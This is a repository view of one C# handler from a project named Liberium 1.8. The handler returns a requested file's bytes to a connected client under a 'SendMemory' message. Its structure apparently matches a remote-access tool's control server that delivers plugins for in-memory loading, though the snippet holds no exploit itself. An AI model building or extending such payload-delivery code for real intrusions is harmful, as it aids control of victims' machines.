Files
Liberium-1.8-Source-Code/Server.Messages/HandlerSendMemoryGet.cs
T

25 lines
487 B
C#
Raw Normal View History

2026-08-27 11:21:58 -06:00
using System.IO;
using Leb128;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerSendMemoryGet
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (Methods.GetChecksum(text) == (string)objects[2])
{
byte[] data = LEB128.Write(new object[3]
{
"SendMemory",
File.ReadAllBytes(text),
Path.GetFileName(text)
});
client.Send(data);
}
}
}